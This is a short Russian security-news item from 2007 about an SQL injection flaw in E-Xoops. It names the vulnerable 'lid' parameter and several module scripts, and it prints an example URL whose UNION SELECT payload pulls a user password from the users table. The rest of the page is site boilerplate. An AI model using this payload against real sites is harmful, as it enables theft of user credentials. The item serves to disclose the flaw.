SQL-инъекция в E-Xoops

Опубликовано RSS в пн, 31/12/2007 - 04:27.
Feed: Яндекс.Новости: Безопасность

Уязвимость существует из-за недостаточной обработки входных данных в параметре "lid" в сценариях /modules/mylinks/ratelink.php, /modules/adresses/ratefile.php, /modules ...
http://[host]/modules/arcade/index.php?act=show_stats&gid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201

»

Для отображения страницы требуется новая версия Flash-плэера.

Недавно просмотрено

За последнее время:

Сейчас на сайте

Сейчас на сайте 0 пользователей и 6 гостей.

Сбор новостей


Рейтинг блогов


Rambler's Top100

Новые пользователи

Облако тем

Амит Сахаи Беларусь Вирусы Гаджет Дэн Хаббард Защита видеокамер водяными знаками Интернет Касперский Криптолог Кристоф Паар Референции Россия США Сайт Одноклассники Себастьян Муниц Спам Стеганография Трояны Хакеры алгоритм американские ученые антимаулнетизм банк безопасность водяной знак генератор ддос защита информации зеттабайт исследования в области безопасности кейлоггеры конкурс конференция RSA криптография криптология методика обхода защиты метод шифрования несанкционированный доступ новая система оборудование Cisco операционная система пароль письма помощь почтовый сервер программа шифрования программы сниферы терроризм трафик уязвимость флэш-память фотография хакерская атака хакерский трафик хранение данных шифрование электромагнитный шифратор электронная подпись Akamai Alligator AOL CAST Core Security Technologies DDoS-траффик F-Secure Facebook Google IDC Intel JavaScript KeeLoq kl1.sys Linux Microsoft Mozilla NAND-модули Pergamum PGP RealPlayer SATA SecureWorks sql-запрос SQL injection Symantec truecrypt Vista Websense Windows Windows XP
все метки